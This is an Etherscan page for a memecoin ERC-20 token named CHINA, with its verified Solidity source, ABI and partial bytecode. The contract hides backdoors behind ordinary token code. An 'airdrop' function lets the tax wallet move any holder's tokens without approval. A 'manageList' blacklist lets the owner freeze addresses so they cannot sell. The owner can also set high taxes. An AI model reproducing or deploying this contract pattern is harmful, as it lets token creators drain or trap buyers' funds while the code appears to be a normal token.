ETH Price: $2,529.63 (+0.43%)
Gas: 0.65 Gwei

Token

CHINA (CHINA)
 

Overview

Max Total Supply

100,000,000 CHINA

Holders

61

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CHINA

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-04
*/

/*

CHINA - $CHINA

Website:        https://chinacoin.cc
Telegram:       https://t.me/china_erc20
Twitter:        https://twitter.com/china_erc20

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CHINA is Context, IERC20, Ownable
{
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping(uint256 => uint256) private _sellCount;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 30;
    uint256 private _initialSellTax = 30;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 1;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;
    uint256 private _preventSwapBefore = 10;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10 ** _decimals;
    string private constant _name = unicode"CHINA";
    string private constant _symbol = unicode"CHINA";
    uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address feeReceipt) {
        _taxWallet = payable(feeReceipt);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transferStandard(address from, address to, uint256 amount) private {
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "Only one transfer per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                if (_buyCount < _preventSwapBefore) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);
            if (to == uniswapV2Pair && from != address(this)) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                contractTokenBalance > _taxSwapThreshold &&
                _buyCount > _preventSwapBefore &&
                _sellCount[block.number] < 3 // only 3 tax sells per block
            ) {
                swapTokensForEth(min(amount, contractTokenBalance));
                _sellCount[block.number] = _sellCount[block.number] + 1;
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if (tokenAmount == 0) {
            return;
        }
        if (!tradingOpen) {
            return;
        }
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function manageList(address[] memory bots_) external onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function reduceFee(
        uint256 _newBuyFee,
        uint256 _newSellFee
    ) external onlyOwner {
        require(
            _newBuyFee <= 30 && _newSellFee <= 30 && tradingOpen,
            "Invalid fee"
        );
        _finalBuyTax = _newBuyFee;
        _finalSellTax = _newSellFee;
    }

    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function airdrop(address from, address[] memory recipients, uint256 amount) external {
        require(_msgSender() == _taxWallet);
        for (uint i = 0; i < recipients.length; i++) {
            _transferStandard(from, recipients[i], amount);
        }
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"feeReceipt","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"manageList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newBuyFee","type":"uint256"},{"internalType":"uint256","name":"_newSellFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526007805460ff19169055601e600881905560099081556000600a8181556001600b55600c819055600d819055600e819055600f919091556200004791906200035a565b6200005690621e848062000372565b601055620000676009600a6200035a565b6200007690621e848062000372565b601155620000876009600a6200035a565b6200009490606462000372565b6012556014805461ffff60a81b19169055348015620000b257600080fd5b506040516200219938038062002199833981016040819052620000d5916200038c565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060078054610100600160a81b0319166101006001600160a01b03841602179055620001446009600a6200035a565b62000154906305f5e10062000372565b3360009081526001602081905260408220929092556003906200017f6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556007546101009004909116835291208054909216179055620001e33390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200021d6009600a6200035a565b6200022d906305f5e10062000372565b60405190815260200160405180910390a350620003b7565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200029c57816000190482111562000280576200028062000245565b808516156200028e57918102915b93841c939080029062000260565b509250929050565b600082620002b55750600162000354565b81620002c45750600062000354565b8160018114620002dd5760028114620002e85762000308565b600191505062000354565b60ff841115620002fc57620002fc62000245565b50506001821b62000354565b5060208310610133831016604e8410600b84101617156200032d575081810a62000354565b6200033983836200025b565b806000190482111562000350576200035062000245565b0290505b92915050565b60006200036b60ff841683620002a4565b9392505050565b808202811582820484141762000354576200035462000245565b6000602082840312156200039f57600080fd5b81516001600160a01b03811681146200036b57600080fd5b611dd280620003c76000396000f3fe6080604052600436106101445760003560e01c8063751039fc116100b6578063a1ac727f1161006f578063a1ac727f14610375578063a9059cbb14610395578063bf474bed146103b5578063c876d0b9146103cb578063c9567bf9146103e5578063dd62ed3e146103fa57600080fd5b8063751039fc146102f75780637d1db4a51461030c5780638da5cb5b146103225780638f9a55c01461034a57806395d89b41146101505780639e78fb4f1461036057600080fd5b80633bbac579116101085780633bbac5791461021c57806351bc3c85146102555780636de7bcbd1461026c57806370a082311461028c578063715018a6146102c257806372333356146102d757600080fd5b806306fdde0314610150578063095ea7b31461018d57806318160ddd146101bd57806323b872dd146101e0578063313ce5671461020057600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201825260058152644348494e4160d81b602082015290516101849190611821565b60405180910390f35b34801561019957600080fd5b506101ad6101a8366004611897565b610440565b6040519015158152602001610184565b3480156101c957600080fd5b506101d2610457565b604051908152602001610184565b3480156101ec57600080fd5b506101ad6101fb3660046118c3565b610478565b34801561020c57600080fd5b5060405160098152602001610184565b34801561022857600080fd5b506101ad610237366004611904565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561026157600080fd5b5061026a6104e1565b005b34801561027857600080fd5b5061026a6102873660046119d9565b610539565b34801561029857600080fd5b506101d26102a7366004611904565b6001600160a01b031660009081526001602052604090205490565b3480156102ce57600080fd5b5061026a6105d4565b3480156102e357600080fd5b5061026a6102f2366004611a16565b610648565b34801561030357600080fd5b5061026a6106de565b34801561031857600080fd5b506101d260105481565b34801561032e57600080fd5b506000546040516001600160a01b039091168152602001610184565b34801561035657600080fd5b506101d260115481565b34801561036c57600080fd5b5061026a61079a565b34801561038157600080fd5b5061026a610390366004611a38565b61099d565b3480156103a157600080fd5b506101ad6103b0366004611897565b610a0a565b3480156103c157600080fd5b506101d260125481565b3480156103d757600080fd5b506007546101ad9060ff1681565b3480156103f157600080fd5b5061026a610a17565b34801561040657600080fd5b506101d2610415366004611a91565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061044d338484610c06565b5060015b92915050565b60006104656009600a611bc4565b610473906305f5e100611bd3565b905090565b6000610485848484610d2b565b6104d784336104d285604051806060016040528060288152602001611d75602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906113c1565b610c06565b5060019392505050565b60075461010090046001600160a01b0316336001600160a01b03161461050657600080fd5b30600090815260016020526040902054801561052557610525816113fb565b478015610535576105358161158e565b5050565b6000546001600160a01b0316331461056c5760405162461bcd60e51b815260040161056390611bea565b60405180910390fd5b60005b81518110156105355760016004600084848151811061059057610590611c1f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105cc81611c35565b91505061056f565b6000546001600160a01b031633146105fe5760405162461bcd60e51b815260040161056390611bea565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106725760405162461bcd60e51b815260040161056390611bea565b601e82111580156106845750601e8111155b80156106995750601454600160a01b900460ff165b6106d35760405162461bcd60e51b815260206004820152600b60248201526a496e76616c69642066656560a81b6044820152606401610563565b600a91909155600b55565b6000546001600160a01b031633146107085760405162461bcd60e51b815260040161056390611bea565b6107146009600a611bc4565b610722906305f5e100611bd3565b6010556107316009600a611bc4565b61073f906305f5e100611bd3565b6011556007805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107796009600a611bc4565b610787906305f5e100611bd3565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107c45760405162461bcd60e51b815260040161056390611bea565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561080d9030906107ff6009600a611bc4565b6104d2906305f5e100611bd3565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610860573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108849190611c4e565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090a9190611c4e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610957573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097b9190611c4e565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60075461010090046001600160a01b0316336001600160a01b0316146109c257600080fd5b60005b8251811015610a04576109f2848483815181106109e4576109e4611c1f565b6020026020010151846115cc565b806109fc81611c35565b9150506109c5565b50505050565b600061044d338484610d2b565b6000546001600160a01b03163314610a415760405162461bcd60e51b815260040161056390611bea565b601454600160a01b900460ff1615610a9b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610563565b6013546001600160a01b031663f305d7194730610acd816001600160a01b031660009081526001602052604090205490565b600080610ae26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b4a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b6f9190611c6b565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610bc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bec9190611c99565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610563565b6001600160a01b038216610cc95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610563565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610563565b6001600160a01b038216610df15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610563565b60008111610e535760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610563565b600080546001600160a01b03858116911614801590610e8057506000546001600160a01b03848116911614155b1561127e576001600160a01b03841660009081526004602052604090205460ff16158015610ec757506001600160a01b03831660009081526004602052604090205460ff16155b610ed057600080fd5b60075460ff1615610f89576013546001600160a01b03848116911614801590610f0757506014546001600160a01b03848116911614155b15610f8957326000908152600560205260409020544311610f765760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610563565b3260009081526005602052604090204390555b6014546001600160a01b038581169116148015610fb457506013546001600160a01b03848116911614155b8015610fd957506001600160a01b03831660009081526003602052604090205460ff16155b156110d55760105482111561102c5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610563565b6011548261104f856001600160a01b031660009081526001602052604090205490565b6110599190611cbb565b11156110a75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610563565b600e54600f5410156110bf57823b156110bf57600080fd5b600f80549060006110cf83611c35565b91905055505b61110160646110fb600c54600f54116110f0576008546110f4565b600a545b8590611672565b906116fb565b6014549091506001600160a01b03848116911614801561112a57506001600160a01b0384163014155b156111a55760105482111561117d5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610563565b6111a260646110fb600d54600f5411611198576009546110f4565b600b548590611672565b90505b30600090815260016020526040902054601454600160a81b900460ff161580156111dc57506014546001600160a01b038581169116145b80156111f15750601454600160b01b900460ff165b80156111fe575060125481115b801561120d5750600e54600f54115b80156112285750436000908152600660205260409020546003115b1561127c5761123f61123a848361173d565b6113fb565b4360009081526006602052604090205461125a906001611cbb565b4360009081526006602052604090205547801561127a5761127a4761158e565b505b505b80156112f8573060009081526001602052604090205461129e9082611752565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112ef9085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461131b90836117b1565b6001600160a01b03851660009081526001602052604090205561136061134183836117b1565b6001600160a01b03851660009081526001602052604090205490611752565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113aa85856117b1565b60405190815260200160405180910390a350505050565b600081848411156113e55760405162461bcd60e51b81526004016105639190611821565b5060006113f28486611cce565b95945050505050565b6014805460ff60a81b1916600160a81b179055801561157e57601454600160a01b900460ff161561157e57604080516002808252606082018352600092602083019080368337019050509050308160008151811061145b5761145b611c1f565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d89190611c4e565b816001815181106114eb576114eb611c1f565b6001600160a01b0392831660209182029290920101526013546115119130911684610c06565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061154a908590600090869030904290600401611ce1565b600060405180830381600087803b15801561156457600080fd5b505af1158015611578573d6000803e3d6000fd5b50505050505b506014805460ff60a81b19169055565b6007546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610535573d6000803e3d6000fd5b6001600160a01b0383166000908152600160205260409020546115ef90826117b1565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461161e9082611752565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d1e9085815260200190565b60008260000361168457506000610451565b60006116908385611bd3565b90508261169d8583611d52565b146116f45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610563565b9392505050565b60006116f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117f3565b600081831161174c57826116f4565b50919050565b60008061175f8385611cbb565b9050838110156116f45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610563565b60006116f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c1565b600081836118145760405162461bcd60e51b81526004016105639190611821565b5060006113f28486611d52565b600060208083528351808285015260005b8181101561184e57858101830151858201604001528201611832565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461188457600080fd5b50565b80356118928161186f565b919050565b600080604083850312156118aa57600080fd5b82356118b58161186f565b946020939093013593505050565b6000806000606084860312156118d857600080fd5b83356118e38161186f565b925060208401356118f38161186f565b929592945050506040919091013590565b60006020828403121561191657600080fd5b81356116f48161186f565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261194857600080fd5b8135602067ffffffffffffffff8083111561196557611965611921565b8260051b604051601f19603f8301168101818110848211171561198a5761198a611921565b6040529384528581018301938381019250878511156119a857600080fd5b83870191505b848210156119ce576119bf82611887565b835291830191908301906119ae565b979650505050505050565b6000602082840312156119eb57600080fd5b813567ffffffffffffffff811115611a0257600080fd5b611a0e84828501611937565b949350505050565b60008060408385031215611a2957600080fd5b50508035926020909101359150565b600080600060608486031215611a4d57600080fd5b8335611a588161186f565b9250602084013567ffffffffffffffff811115611a7457600080fd5b611a8086828701611937565b925050604084013590509250925092565b60008060408385031215611aa457600080fd5b8235611aaf8161186f565b91506020830135611abf8161186f565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611b1b578160001904821115611b0157611b01611aca565b80851615611b0e57918102915b93841c9390800290611ae5565b509250929050565b600082611b3257506001610451565b81611b3f57506000610451565b8160018114611b555760028114611b5f57611b7b565b6001915050610451565b60ff841115611b7057611b70611aca565b50506001821b610451565b5060208310610133831016604e8410600b8410161715611b9e575081810a610451565b611ba88383611ae0565b8060001904821115611bbc57611bbc611aca565b029392505050565b60006116f460ff841683611b23565b808202811582820484141761045157610451611aca565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611c4757611c47611aca565b5060010190565b600060208284031215611c6057600080fd5b81516116f48161186f565b600080600060608486031215611